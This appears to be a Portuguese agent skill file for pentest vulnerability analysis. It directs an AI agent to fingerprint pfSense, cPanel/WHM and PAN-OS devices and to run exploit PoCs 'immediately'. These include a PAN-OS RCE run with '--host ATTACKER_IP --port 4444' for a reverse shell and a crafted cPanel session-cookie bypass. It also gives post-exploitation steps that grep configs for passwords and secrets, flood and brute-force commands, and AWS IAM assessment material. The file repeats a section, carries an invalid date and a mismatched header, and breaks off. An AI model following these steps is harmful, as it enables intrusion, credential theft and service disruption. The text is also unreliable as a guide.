Pentest especializado para Palo Alto Networks PAN-OS — cobre CVE-2026-0300 (buffer overflow RCE), User-ID Auth Portal, e superfície de ataque completa

2026-05-185

name	pentest-vulnerability-analysis
description	PTES Phase 4 - Vulnerability analysis for AWS security assessments using WorstAssume security assessment engine
type	skill

PTES Phase 4: Vulnerability Analysis

🎯 pfSense Detection & Routing

IMPORTANTE: Se durante a análise de vulnerabilidades você identificar pfSense, ATIVE A SKILL pentest-pfsense imediatamente.

Indicadores de pfSense

# Web GUI fingerprinting
curl -skI https://TARGET | grep -iE "server:|pfsense"
curl -sk https://TARGET/ | grep -iE "pfSense|Netgate"

# Version detection
curl -sk https://TARGET/ | grep -iE "version|2\.[0-9]"

# Nmap service detection
nmap -sV -p 443,22,1194 TARGET | grep -iE "nginx|openssh|openvpn"

Sinais de Alerta

Web GUI pfSense (porta 443, nginx)
OpenSSH em firewall (porta 22)
OpenVPN/IPSec/WireGuard expostos
SNMP com OID pfSense
XMLRPC endpoint disponível

Ação Imediata

# Se pfSense detectado → ATIVAR pentest-pfsense skill
# Esta skill continua para vulnerability analysis geral (AWS)
# Use pentest-pfsense para:
# - CVE verification (27+ CVEs conhecidas)
# - Command injection testing (CVE-2023-42326, etc.)
# - File read arbitraries (CVE-2025-53392)
# - XSS stored/reflected testing
# - Package vulnerabilities (pfBlockerNG, Suricata, Snort)

🎯 cPanel & WHM Detection & Routing

IMPORTANTE: Se durante a análise de vulnerabilidades você identificar cPanel ou WHM, TESTE CVE-2026-41940 imediatamente.

Indicadores de cPanel/WHM

# Web GUI fingerprinting
curl -skI https://TARGET:2087 | grep -iE "server:|cPanel|WHM"
curl -sk https://TARGET:2087/login | grep -iE "cPanel|WHM"
curl -sk https://TARGET:2083 | grep -iE "cPanel"

# Version detection (se autenticado)
curl -sk -H "Authorization: Basic <creds>" https://TARGET:2087/json-api/version

# Nmap service detection
nmap -sV -p 2087,2083,2095,2096 TARGET | grep -iE "cpanel|whm"

Sinais de Alerta

WHM Web GUI (porta 2087)
cPanel Web GUI (porta 2083)
Webmail ports (2095, 2096)
HTTP headers com "cPanel"
Login page com "cPanel Login" ou "WHM Login"

Ação Imediata

# Se cPanel/WHM detectado → Testar CVE-2026-41940

# Step 1: Detect vulnerability
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password detect

# Step 2: Se vulnerável, explorar
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password exploit

# Step 3: Verificar acesso
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password verify

# Step 4: Checar patch (para reporte)
python3 /root/.pcode/pocs/cPanel/CVE-2026-41940/poc.py \
  -t https://TARGET:2087 -u admin -p password check-patch

HTTP Header Injection Testing

# Testar CRLF injection em headers (headi tool)
headi -u https://TARGET:2087/login

🎯 Palo Alto Networks PAN-OS Detection & Routing

IMPORTANTE: Se durante a análise de vulnerabilidades você identificar Palo Alto Networks PAN-OS, TESTE CVE-2026-0300 imediatamente — vulnerabilidade crítica com exploração ativa.

Indicadores de PAN-OS

# Web GUI fingerprinting
curl -skI https://TARGET | grep -iE "server:|Palo Alto"
curl -sk https://TARGET/php/login.php | grep -iE "PAN_FORM_CONTENT|Palo Alto|PAN-OS"

# Version detection
curl -sk https://TARGET/api/?type=version
curl -sk https://TARGET/php/login.php | grep -iE "version|[0-9]+\.[0-9]+\.[0-9]+"

# Nmap service detection
nmap -sV -p 443,80,8080 TARGET | grep -iE "nginx|Palo Alto"

# Shodan passive detection
shodan search "http.title:\"Palo Alto Networks\""
shodan search "http.favicon.hash:873381299"

Sinais de Alerta

PAN-OS Management Panel (porta 443)
User-ID Authentication Portal acessível
GlobalProtect portal exposto
SNMP com OID Palo Alto
API endpoint disponível

Ação Imediata

# Se PAN-OS detectado → Testar CVE-2026-0300 (Buffer Overflow RCE)

# Step 1: Detect vulnerability (non-intrusive)
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET detect

# Step 2: Check version
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET check-version

# Step 3: Check patch status
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET check-patch

# Step 4: Se vulnerável e autorizado → Explorar (CUIDADO: pode crashar)
python3 /root/.pcode/pocs/PaloAlto/CVE-2026-0300/poc.py \
  -t https://TARGET exploit --host ATTACKER_IP --port 4444

Vulnerable Versions

PAN-OS 10.2: < 10.2.7-h34, < 10.2.10-h36, < 10.2.13-h21, < 10.2.16-h7, < 10.2.18-h6
PAN-OS 11.1: < 11.1.4-h33, < 11.1.6-h32, < 11.1.7-h6, < 11.1.10-h25, < 11.1.13-h5, < 11.1.15
PAN-OS 11.2: < 11.2.4-h17, < 11.2.7-h13, < 11.2.10-h6, < 11.2.12
PAN-OS 12.1: < 12.1.4-h5, < 12.1.7

CVE-2026-0300 Details

Campo	Valor
CVSS 4.0	9.3 (Critical)
CWE	CWE-787 (Out-of-bounds Write)
Autenticação	NÃO requer
Impacto	RCE como root
Status	Exploração ativa
Pré-requisito	User-ID Auth Portal habilitado

Mitigações Imediatas

# 1. Restringir acesso ao User-ID Portal
# Device > User Identification > Authentication Portal Settings
# Adicionar ACL para IPs internos apenas

# 2. Desabilitar Captive Portal se não necessário
# Device > User Identification > Authentication Portal

# 3. Aplicar patch quando disponível (13-28 maio 2026)

Nuclei Detection

# Detect PAN-OS panel
nuclei -u https://TARGET -t /root/nuclei-templates/panos-management-panel.yaml

# Detect User-ID portal
nuclei -u https://TARGET -tags captive-portal,authentication -silent

Post-Exploitation (Se comprometido)

# Coletar informações
show system info
show interface all
show routing route

# Extrair configuração
cat /config/panos-config.xml

# Verificar sessões ativas
show session all

# Extrair credenciais
grep -r "password\|secret\|key" /config/

🎯 Outros Firewalls/Devices de Rede

Fortinet FortiGate

# Detect FortiGate
curl -sk https://TARGET/login | grep -i "FortiGate\|Fortinet"
shodan search "http.title:\"FortiGate\""

# CVEs críticas para testar:
# - CVE-2023-27997 (SSL VPN RCE)
# - CVE-2022-40684 (Auth Bypass)
# - CVE-2022-42475 (SQL Injection RCE)

Cisco ASA/Firepower

# Detect Cisco ASA
nmap -sV -p 443 TARGET | grep -i "Cisco"

# CVEs críticas:
# - CVE-2020-3452 (File Read)
# - CVE-2018-0101 (RCE)
# - CVE-2018-0296 (Path Traversal)

F5 BIG-IP

# Detect F5 BIG-IP
curl -sk https://TARGET/tmui/login.jsp | grep -i "BIG-IP\|F5"

# CVEs críticas:
# - CVE-2020-5902 (RCE)
# - CVE-2021-22986 (iControl REST RCE)
# - CVE-2022-1388 (iControl REST Auth Bypass)

🎯 Outros Firewalls/Devices de Rede

Fortinet FortiGate

# Detect FortiGate
curl -sk https://TARGET/login | grep -i "FortiGate\|Fortinet"
shodan search "http.title:\"FortiGate\""

# CVEs críticas para testar:
# - CVE-2023-27997 (SSL VPN RCE)
# - CVE-2022-40684 (Auth Bypass)
# - CVE-2022-42475 (SQL Injection RCE)

Cisco ASA/Firepower

# Detect Cisco ASA
nmap -sV -p 443 TARGET | grep -i "Cisco"

# CVEs críticas:
# - CVE-2020-3452 (File Read)
# - CVE-2018-0101 (RCE)
# - CVE-2018-0296 (Path Traversal)

F5 BIG-IP

# Detect F5 BIG-IP
curl -sk https://TARGET/tmui/login.jsp | grep -i "BIG-IP\|F5"

# CVEs críticas:
# - CVE-2020-5902 (RCE)
# - CVE-2021-22986 (iControl REST RCE)
# - CVE-2022-1388 (iControl REST Auth Bypass)

Manual CRLF testing

curl -sk -H "Authorization: Basic $(echo -n 'root:x' | base64)"
-H "Cookie: whostmgrsession=test; sucesso=1; tfa_verified=1"
https://TARGET:2087/scripts2/doautoconfig


---

## Objetivo
Identificar e validar vulnerabilidades técnicas específicas nos sistemas AWS alvo, seguindo PTES Section 3 (Vulnerability Analysis).

## WorstAssume Security Assessment Engine

### 5 Categorias de Vulnerabilidades (worstassume/core/security_assessment.py)

CATEGORIA 1: WEAK_TRUST

Trust policies de roles com permissões excessivas
Path-IDs: WildcardTrustNoCondition, ExternalAccountRootTrust, BroadServicePrincipal:*
Severidade padrão: CRITICAL a MEDIUM (com downgrade matrix)

CATEGORIA 2: PERMISSIVE_POLICY

Managed policies ou inline policies com alto privilégio
Path-IDs: PermissivePolicy:HIGH, PermissivePolicy:MEDIUM
Detecta: AdministratorAccess, PowerUserAccess, IAMFullAccess

CATEGORIA 3: RESOURCE_WILDCARD

Ações de escrita/admin em Resource: *
Path-IDs: ResourceWildcard:iam:passrole, ResourceWildcard:s3:putobject, etc.
20+ verbos perigosos detectados (DEFAULT_WRITE_VERBS)

CATEGORIA 4: USER_CONFIG

IAM user hygiene: MFA, stale keys, privilege
Path-IDs: UserConsoleNoMFA, UserStaleKey365, UserStaleKey90, UserPrivilege:*

CATEGORIA 5: GROUP_CONFIG

Dangerous group-level permissions
Path-IDs: GroupPrivilege:HIGH, GroupPrivilege:MEDIUM


### Severity Downgrade Matrix

```python
# Trust × permission-risk downgrade matrix (security_assessment.py:38-42)
_TRUST_DOWNGRADE = {
    ("CRITICAL", "MEDIUM"): "HIGH",
    ("CRITICAL", "LOW"):    "MEDIUM",
    ("HIGH",     "LOW"):    "MEDIUM",
}

# Exemplo: Role com trust CRITICAL mas permission risk LOW
# Severidade final: MEDIUM (downgraded)

Managed Policies Detectadas

# DANGEROUS_MANAGED (security_assessment.py:72-75)
- AdministratorAccess
- PowerUserAccess
- IAMFullAccess
- AWSAccountManagementFullAccess
- AWSOrganizationsFullAccess

# ELEVATED_MANAGED (security_assessment.py:77-84)
- AmazonEC2FullAccess, AmazonS3FullAccess, AWSLambda_FullAccess
- AmazonRDSFullAccess, AmazonDynamoDBFullAccess, SecretsManagerReadWrite
- +12 outras policies de serviço

HTTP Header Injection Testing com headi (PTES 3.1 - Vulnerability Testing)

Quando usar headi

Use headi quando o alvo possui restrições de acesso baseadas em IP ou quando suspeitar de:

Bypass de controle de acesso via headers HTTP (X-Forwarded-For, X-Real-IP, etc.)
IP spoofing para acessar recursos internos/restritos
SSRF via headers de proxy
WAF bypass por cabeçalhos de IP confiável

Headers testados pelo headi (24 headers)

Client-IP, Connection, Contact, Forwarded, From, Host, Origin, Referer,
True-Client-IP, X-Client-IP, X-Custom-IP-Authorization, X-Forward-For,
X-Forwarded-For, X-Forwarded-Host, X-Forwarded-Server, X-Host,
X-HTTP-Host-Override, X-Original-URL, X-Originating-IP, X-Real-IP,
X-Remote-Addr, X-Remote-IP, X-Rewrite-URL, X-Wap-Profile

Payloads padrão (bypass de localhost)

127.0.0.1, localhost, 0.0.0.0, 0, 127.1, 127.0.1, 2130706433

Uso básico (PTES 3.1.1 - Active Testing)

# Teste com payloads padrão (localhost bypass)
headi -u https://target.com/restricted-resource

# Iterar sobre múltiplos URLs
for i in $(cat urls.txt); do headi -u $i; done

Uso com payloads customizados (PTES 3.1.2 - Automated Tools)

# Após enumerar IPs internos na fase de Intelligence Gathering
headi -u https://target.com/admin -p internal_ips.txt

# Exemplo de internal_ips.txt
10.0.0.1
10.0.1.1
192.168.1.1
172.16.0.1

Interpretação dos resultados

[+] verde  = mudança no Content-Length → possível bypass (investigar!)
[-] vermelho = sem mudança → header não alterou resposta

Exemplo de finding positivo:
[+] [https://target.com/admin] [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 4521]
   ↑ baseline retornou 403 com size diferente = BYPASS CONFIRMADO

Verificar também:
- Mudança de status code (403 → 200)
- Mudança significativa no Content-Length
- Redirecionamentos diferentes

Template de Finding - HTTP Header Injection (PTES 3.2 - Vulnerability Validation)

FINDING: HTTP-HEADER-INJECTION-BYPASS
CATEGORY: ACCESS_CONTROL_BYPASS
SEVERITY: HIGH/CRITICAL (depende do recurso protegido)

AFFECTED RESOURCE:
- URL: [URL alvo]
- Header: [header que causou bypass]
- Payload: [valor do header]

DESCRIPTION:
O endpoint aceita o header [X] para determinar o IP de origem do cliente,
permitindo que um atacante remoto faça spoofing do endereço IP e bypass
controles de acesso baseados em IP.

EVIDENCE:
Baseline: [Code: 403] [Size: 512]
Com header: [X-Forwarded-For: 127.0.0.1] [Code: 200] [Size: 4521]

VALIDATION:
curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/restricted

PTES REFERENCE: Section 3.1.1 (Active Testing), 3.2 (Vulnerability Validation)

Timeout customizado (para alvos lentos)

# Timeout em milissegundos (padrão: 10000ms = 10s)
headi -u https://target.com/resource -t 30000

Referências PTES para Vulnerability Analysis

PTES 3.1 - Vulnerability Testing

3.1.1 Active: Varredura ativa de vulnerabilidades
3.1.2 Automated Tools: WorstAssume security assessment
3.1.3 Passive Testing: Enumerate com --stealth mode
3.1.4 Metasploit Scanners: N/A para AWS IAM

PTES 3.2 - Vulnerability Validation

3.2.1 Public Research: AWS IAM documentation, CVE research
3.2.2 Establish Target List: Account IDs, principal ARNs

PTES 3.3 - Attack Avenues

3.3.1 Creation of Attack Trees: Attack chains do WorstAssume
3.3.2 Identify Protection Mechanisms: SCPs, MFA, IMDSv2

Análise de Vulnerabilidades com WorstAssume

1. Executar Security Assessment (PTES 3.1.2 - Automated Tools)

# Executar assessment em todas as contas enumeradas
worst assess

# Filtrar por severidade mínima (PTES 3.1 - Vulnerability Testing)
worst assess --min-severity MEDIUM
worst assess --min-severity HIGH

# Assessment em conta específica (PTES 3.2.2 - Establish Target List)
worst assess --account-id 123456789012

# Com configuração customizada de severidade (security_assessment.py:112-129)
worst assess --severity-config custom_severity.json

# Exportar resultados para análise técnica (PTES 6.2)
worst assess --output json > findings.json

# Assessment com threads customizadas (default: 8)
worst assess --max-workers 16

2. Severity Config Overrides (worstassume/core/security_assessment.py:112-129)

// custom_severity.json - Override de severidade por Path-ID
{
  "WildcardTrustNoCondition": "CRITICAL",
  "ExternalAccountRootTrust": "CRITICAL",
  "UserConsoleNoMFA": "HIGH",
  "UserStaleKey365": "MEDIUM",
  "ResourceWildcard:iam:passrole": "HIGH",
  "PermissivePolicy:HIGH": "CRITICAL"
}

3. Finding Categories Detalhadas

WEAK_TRUST (worstassume/core/security_assessment.py:188-372)

PATH-IDs Detectados:

1. WildcardTrustNoCondition (CRITICAL)
   - Principal: "*" sem condição
   - Qualquer entidade AWS pode assumir a role

2. ExternalAccountRootTrust (CRITICAL/HIGH)
   - Root de conta externa confiável
   - Toda conta externa pode assumir

3. OwnAccountRootTrust (HIGH/INFO)
   - Root da própria conta confiável
   - Todo identity da conta pode assumir

4. BroadServicePrincipal:* (MEDIUM-CRITICAL)
   - Serviços amplos: sts, ssm, ec2, lambda, ecs-tasks
   - Downgrade se condition presente

5. CognitoTrustNoCondition (HIGH)
   - Federated Cognito sem restricting condition
   - Qualquer Cognito identity pool pode assumir

6. GitHubOIDCNoSubCondition (HIGH)
   - GitHub Actions OIDC sem condição sub/aud
   - Qualquer workflow pode assumir

7. WildcardFederatedPrincipal (CRITICAL)
   - Federated: "*" sem restrição

PERMISSIVE_POLICY (worstassume/core/security_assessment.py:434-454)

PATH-IDs Detectados:

1. PermissivePolicy:HIGH (CRITICAL)
   - Attached: AdministratorAccess, PowerUserAccess, IAMFullAccess
   - Ou inline policy com Action: *

2. PermissivePolicy:MEDIUM (HIGH)
   - Attached: AmazonEC2FullAccess, AmazonS3FullAccess, etc.
   - Ou write actions em Resource: *

Permission Risk Assessment (_assess_permissions):
- HIGH: DANGEROUS_MANAGED policies ou inline com Action: *
- MEDIUM: ELEVATED_MANAGED policies ou write em wildcard resources
- LOW: Apenas read-only policies

RESOURCE_WILDCARD (worstassume/core/security_assessment.py:460-488)

PATH-IDs Detectados (DEFAULT_WRITE_VERBS - 20+ ações):

IAM Manipulation:
- ResourceWildcard:iam:passrole
- ResourceWildcard:iam:createpolicy
- ResourceWildcard:iam:putrolepolicy
- ResourceWildcard:iam:attachuserpolicy
- ResourceWildcard:iam:attachrolepolicy
- ResourceWildcard:iam:createpolicyversion
- ResourceWildcard:iam:updateassumerolepolicy

Compute/Code Execution:
- ResourceWildcard:lambda:invokefunction
- ResourceWildcard:lambda:createfunction
- ResourceWildcard:lambda:updatefunctioncode
- ResourceWildcard:ec2:runinstances
- ResourceWildcard:glue:createjob
- ResourceWildcard:sagemaker:createnotebookinstance

Data Exfiltration:
- ResourceWildcard:s3:putobject
- ResourceWildcard:s3:deletebucket
- ResourceWildcard:s3:putbucketpolicy
- ResourceWildcard:secretsmanager:getsecretvalue
- ResourceWildcard:ssm:sendcommand

Privilege Maintenance:
- ResourceWildcard:sts:assumerole

Defensive Blinding:
- ResourceWildcard:cloudtrail:stoptail
- ResourceWildcard:cloudtrail:deletetrail
- ResourceWildcard:guardduty:deletedetector

USER_CONFIG (worstassume/core/security_assessment.py:518-585)

PATH-IDs Detectados:

1. UserPrivilege:HIGH/MEDIUM
   - User com managed policies de alto privilégio
   - Severidade baseada no permission risk

2. UserConsoleNoMFA (HIGH/MEDIUM)
   - Console access habilitado sem MFA
   - Risco: Account takeover via credential stuffing

3. UserStaleKey365 (HIGH)
   - Access key ativa há >365 dias
   - Detail: Key ID incluído no finding

4. UserStaleKey90 (MEDIUM)
   - Access key ativa há >90 dias
   - Recomendação: Considerar rotation

GROUP_CONFIG (worstassume/core/security_assessment.py:588-602)

PATH-IDs Detectados:

1. GroupPrivilege:HIGH (CRITICAL)
   - Group com DANGEROUS_MANAGED policies
   - Todos membros herdam privilégios elevados

2. GroupPrivilege:MEDIUM (HIGH)
   - Group com ELEVATED_MANAGED policies
   - Members herdam permissões de serviço

4. Validação de Vulnerabilidades (PTES 3.2 - Vulnerability Validation)

Database Schema dos Findings (worstassume/db/models.py)

-- SecurityFinding table structure
CREATE TABLE security_findings (
    id INTEGER PRIMARY KEY,
    account_id INTEGER NOT NULL,
    entity_arn TEXT NOT NULL,
    entity_type TEXT NOT NULL,  -- role/user/group
    entity_name TEXT NOT NULL,
    category TEXT NOT NULL,     -- WEAK_TRUST/PERMISSIVE_POLICY/RESOURCE_WILDCARD/USER_CONFIG/GROUP_CONFIG
    path_id TEXT NOT NULL,      -- e.g., WildcardTrustNoCondition
    severity TEXT NOT NULL,     -- CRITICAL/HIGH/MEDIUM/LOW/INFO
    original_severity TEXT NOT NULL,
    message TEXT NOT NULL,
    principal_detail TEXT,      -- Additional detail about principal
    condition TEXT,             -- JSON condition from trust policy
    perm_risk TEXT,             -- HIGH/MEDIUM/LOW permission risk
    downgrade_note TEXT,        -- Reason for severity downgrade
    suppressed BOOLEAN DEFAULT FALSE,
    created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
);

Validação Manual por Categoria

# WEAK_TRUST - Verificar trust policy
aws iam get-role --role-name <role-name> --query 'Role.AssumeRolePolicyDocument'

# PERMISSIVE_POLICY - Verificar policies attached
aws iam list-attached-role-policies --role-name <role>
aws iam list-attached-user-policies --user-name <user>

# RESOURCE_WILDCARD - Verificar inline policies
aws iam get-role-policy --role-name <role> --policy-name <policy>
aws iam get-user-policy --user-name <user> --policy-name <policy>

# USER_CONFIG - Verificar MFA e keys
aws iam get-login-profile --user-name <user>
aws iam list-mfa-devices --user-name <user>
aws iam list-access-keys --user-name <user>

# GROUP_CONFIG - Verificar group policies
aws iam list-attached-group-policies --group-name <group>
aws iam get-group-policy --group-name <group> --policy-name <policy>

Finding Persistence (worstassume/core/security_assessment.py:608-727)

# _persist function upserts findings
def _persist(db, account, raw):
    return upsert_security_finding(
        session=db,
        account=account,
        entity_arn=raw.entity_arn,
        entity_type=raw.entity_type,
        entity_name=raw.entity_name,
        category=raw.category,
        path_id=raw.path_id,
        severity=raw.severity,
        original_severity=raw.original_severity,
        message=raw.message,
        principal_detail=raw.principal_detail,
        condition=raw.condition,
        perm_risk=raw.perm_risk,
        downgrade_note=raw.downgrade_note,
        suppressed=raw.suppressed,
    )

# Thread pool analysis (max_workers=8 default)
with ThreadPoolExecutor(max_workers=max_workers) as pool:
    futures = {pool.submit(_analyze_principal, p): p for p in principals}

5. Análise de Attack Avenues (PTES 3.3)

Protection Mechanisms Detection

# Verificar se IMDSv2 está forçado (mitiga PATH-015, PATH-032)
aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,MetadataOptions.HttpTokens]'

# Verificar CloudTrail ativo (detecta ações de exploração)
aws cloudtrail describe-trails --query 'trailList[*].[Name,IsMultiRegionTrail,LogFileValidationEnabled]'

# Verificar GuardDuty habilitado
aws guardduty list-detectors --query 'DetectorIds[]'

# Verificar SCPs na organização
aws organizations list-roots
aws organizations list-policies-for-target --target-id <root-id> --filter SERVICE_CONTROL_POLICY

6. Vulnerability Validation Workflow

# 1. Executar assessment completo
worst assess --min-severity HIGH --output json > high-severity-findings.json

# 2. Filtrar por categoria específica
worst assess --min-severity MEDIUM | jq '.[] | select(.category == "WEAK_TRUST")'

# 3. Validar finding específico manualmente
# Exemplo: WildcardTrustNoCondition
aws iam get-role --role-name <role-from-finding> --query 'Role.AssumeRolePolicyDocument'

# 4. Verificar permission risk do principal
aws iam list-attached-role-policies --role-name <role>
aws iam list-role-policies --role-name <role>

# 5. Documentar para relatório (PTES 6.2)
cat high-severity-findings.json | jq '.[] | {
  path_id: .path_id,
  severity: .severity,
  entity: .entity_arn,
  message: .message
}'

Network Vulnerability Analysis com Naabu + hping3 (PTES 3.1 - Vulnerability Testing)

Naabu - Primary Port Scanning (PTES 3.1.2 - Automated Tools)

Use Naabu como ferramenta primária para identificação de vulnerabilidades de rede:

# Identificar serviços expostos
naabu -host target.com -p - -sV -silent

# Smart scan para detecção preditiva
naabu -host target.com -ss -silent

# Verificar portas com validação
naabu -host target.com -verify -silent

# CDN/WAF detection (misconfiguration check)
naabu -host target.com -ec -cdn -silent

# Passive scan (sem enviar pacotes)
naabu -host target.com -passive -silent

Template de Finding - Network Exposure via Naabu

FINDING: NETWORK-EXPOSURE-NAABU
CATEGORY: NETWORK_VULNERABILITY
SEVERITY: [MEDIUM/HIGH/CRITICAL]
PTES: 3.1.2 - Automated Tools

TARGET:
- IP/Hostname: [target]
- Portas expostas: [lista]

DESCRIPTION:
Port scanning via Naabu identificou [X] portas abertas
expondo serviços potencialmente vulneráveis.

EVIDENCE:
naabu -host [target] -p - -j
[Output JSON com portas e serviços]

REMEDIATION:
1. Fechar portas não necessárias
2. Implementar firewall rules
3. Usar VPN para serviços internos
4. Habilitar logging e monitoramento

PTES REFERENCE: Section 3.1.2 (Automated Tools)

Firewall Configuration Vulnerabilities (PTES 3.1.1 - Active Testing)

# Testar firewall stateless (vulnerabilidade de configuração)
hping3 -A -p 80 target.com
# VULNERABILITY: RST recebido = firewall stateless não rastreia conexões

# Testar filtragem de ICMP (pode indicar outras falhas)
hping3 -1 -c 10 target.com
# VULNERABILITY: Respostas ICMP = informação vazada para recon

# Testar fragmentação (bypass potencial de ACLs)
hping3 -S -p 80 -f target.com
# VULNERABILITY: Pacote fragmentado aceito = ACL não reassembla

# Testar TTL-based filtering
hping3 -S -p 80 -t 1 target.com
hping3 -S -p 80 -t 64 target.com
# VULNERABILITY: Diferença de resposta = TTL-based filtering ausente

IDS/IPS Detection Testing (PTES 3.1.2 - Automated Tools)

# Testar detecção de SYN scan
hping3 -S -p 80 -c 100 target.com
# Verificar se alertas foram gerados no SIEM/IDS

# Testar detecção de XMAS scan
hping3 -F -P -U -p 80 -c 50 target.com
# Scans com flags anômalas são detectados?

# Testar detecção de spoofing
hping3 -S -p 80 --rand-source -c 100 target.com
# IDS correlaciona tráfego com origem real?

# Testar rate limiting
hping3 -S -p 80 --flood -c 1000 target.com
# Rate limiting/DoS protection é acionado?

Template de Finding - Firewall Misconfiguration

FINDING: FIREWALL-MISCONFIGURATION-HPING3
CATEGORY: NETWORK_VULNERABILITY
SEVERITY: MEDIUM/HIGH
PTES: 3.1.1 - Vulnerability Testing

TARGET:
- IP/Hostname: [target]
- Tipo de firewall: [stateless/stateful]

VULNERABILITY DESCRIPTION:
Firewall configurado em modo stateless permite bypass de regras
de filtragem. Portas internas podem ser acessadas via ACK scan.

EVIDENCE:
hping3 -A -p 80 target.com → RST recebido (não filtrado)
hping3 -S -p 443 target.com → SYN-ACK recebido (aberta)

IMPACT:
- Portas internas acessíveis sem autenticação
- Lateral movement facilitado
- Network segmentation comprometida

REMEDIATION:
1. Configurar firewall em modo stateful
2. Implementar stateful packet inspection (SPI)
3. Adicionar regras de rate limiting
4. Habilitar logging de conexões anômalas

PTES REFERENCE: Section 3.1.1 (Active Testing)

7. OWASP Nettacker Vulnerability Scanning (PTES 3.1.2 - Automated Tools)

Visão Geral

OWASP Nettacker provides 50+ vulnerability modules for automated CVE detection and security misconfiguration scanning. Use Nettacker when you need:

Quick CVE verification without manual testing
Security header checks across multiple targets
SSL/TLS vulnerability scanning
CMS-specific vulnerability detection (WordPress, Joomla, Drupal)
Brute-force testing for default credentials

Nettacker Vuln Modules by Category

Critical CVE Detection (CVSS 9.0+)

# Log4Shell (CVE-2021-44228) - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m log4j_cve_2021_44228_vuln

# F5 BIG-IP RCE (CVE-2020-5902) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m f5_cve_2020_5902_vuln

# Citrix ADC RCE (CVE-2019-19781) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m citrix_cve_2019_19781_vuln

# vBulletin RCE (CVE-2019-16759) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m vbulletin_cve_2019_16759_vuln

# ProxyLogon (CVE-2021-26855) - CVSS 9.8
docker run --rm owasp/nettacker -i target.com -m msexchange_cve_2021_26855_vuln

# Apache Struts RCE (CVE-2017-5638) - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m apache_struts_vuln

# XDebug RCE - CVSS 10.0
docker run --rm owasp/nettacker -i target.com -m xdebug_rce_vuln

High Severity CVEs (CVSS 7.0-8.9)

# Citrix XSS (CVE-2023-24488)
docker run --rm owasp/nettacker -i target.com -m citrix_cve_2023_24488_vuln

# SonicWall SSLVPN (CVE-2024-53704)
docker run --rm owasp/nettacker -i target.com -m sonicwall_sslvpn_cve_2024_53704_vuln

# Ivanti EPMM (CVE-2023-35082)
docker run --rm owasp/nettacker -i target.com -m ivanti_epmm_cve_2023_35082_vuln

# Confluence vulnerabilities
docker run --rm owasp/nettacker -i target.com -m confluence_cve_2023_22515_vuln,confluence_cve_2023_22527_vuln

# Grafana (CVE-2021-43798)
docker run --rm owasp/nettacker -i target.com -m grafana_cve_2021_43798_vuln

# Joomla information disclosure (CVE-2023-23752)
docker run --rm owasp/nettacker -i target.com -m joomla_cve_2023_23752_vuln

SSL/TLS Vulnerabilities

# Heartbleed (CVE-2014-0160)
docker run --rm owasp/nettacker -i target.com -m heartbleed_vuln

# Weak cipher suites
docker run --rm owasp/nettacker -i target.com -m ssl_weak_cipher_vuln

# Old SSL versions (SSLv2/SSLv3)
docker run --rm owasp/nettacker -i target.com -m ssl_version_vuln

# Expired certificates
docker run --rm owasp/nettacker -i target.com -m ssl_expired_certificate_vuln

# Self-signed certificates
docker run --rm owasp/nettacker -i target.com -m ssl_signed_certificate_vuln

# All SSL checks combined
docker run --rm owasp/nettacker -i target.com -m ssl_*_vuln

HTTP Security Headers (Misconfigurations)

# Clickjacking protection (X-Frame-Options)
docker run --rm owasp/nettacker -i target.com -m clickjacking_vuln

# Content Security Policy
docker run --rm owasp/nettacker -i target.com -m content_security_policy_vuln

# X-Content-Type-Options
docker run --rm owasp/nettacker -i target.com -m content_type_options_vuln

# XSS Protection header
docker run --rm owasp/nettacker -i target.com -m xss_protection_vuln

# Server banner leak
docker run --rm owasp/nettacker -i target.com -m server_version_vuln

# X-Powered-By leak
docker run --rm owasp/nettacker -i target.com -m x_powered_by_vuln

# CORS misconfiguration
docker run --rm owasp/nettacker -i target.com -m http_cors_vuln

# Insecure cookies
docker run --rm owasp/nettacker -i target.com -m http_cookie_vuln

# Missing HSTS
docker run --rm owasp/nettacker -i target.com -m strict_transport_security_vuln

# All HTTP header checks
docker run --rm owasp/nettacker -i target.com -m *_vuln | grep -E "http|security|header"

CMS-Specific Vulnerabilities

# WordPress
docker run --rm owasp/nettacker -i target.com -m wordpress_version_scan,wp_plugin_scan,wp_xmlrpc_bruteforce_vuln,wp_xmlrpc_pingback_vuln,wordpress_dos_cve_2018_6389_vuln

# Joomla
docker run --rm owasp/nettacker -i target.com -m joomla_version_scan,joomla_user_enum_scan,joomla_template_scan,joomla_cve_2023_23752_vuln

# Drupal
docker run --rm owasp/nettacker -i target.com -m drupal_version_scan,drupal_modules_scan,drupal_theme_scan

Admin Panel & Directory Discovery

# Admin panel discovery
docker run --rm owasp/nettacker -i target.com -m admin_scan

# Directory brute-forcing
docker run --rm owasp/nettacker -i target.com -m dir_scan

# PHPMyAdmin detection
docker run --rm owasp/nettacker -i target.com -m pma_scan

# Combined web reconnaissance
docker run --rm owasp/nettacker -i target.com -m admin_scan,dir_scan,pma_scan,waf_scan,web_technologies_scan

Brute-Force Testing (Default Credentials)

# FTP brute-force
docker run --rm owasp/nettacker -i target.com -m ftp_brute -u admin,root -p admin,123456,password

# SSH brute-force
docker run --rm owasp/nettacker -i target.com -m ssh_brute -U users.txt -P passwords.txt

# HTTP Basic Auth
docker run --rm owasp/nettacker -i target.com -m http_basic_auth_brute

# HTTP Form brute-force
docker run --rm owasp/nettacker -i target.com -m http_form_brute

# WordPress XMLRPC
docker run --rm owasp/nettacker -i target.com -m wp_xmlrpc_brute

# All brute modules
docker run --rm owasp/nettacker -i target.com -m *_brute -U users.txt -P passwords.txt

Comprehensive Vulnerability Scan

# All vulnerability modules
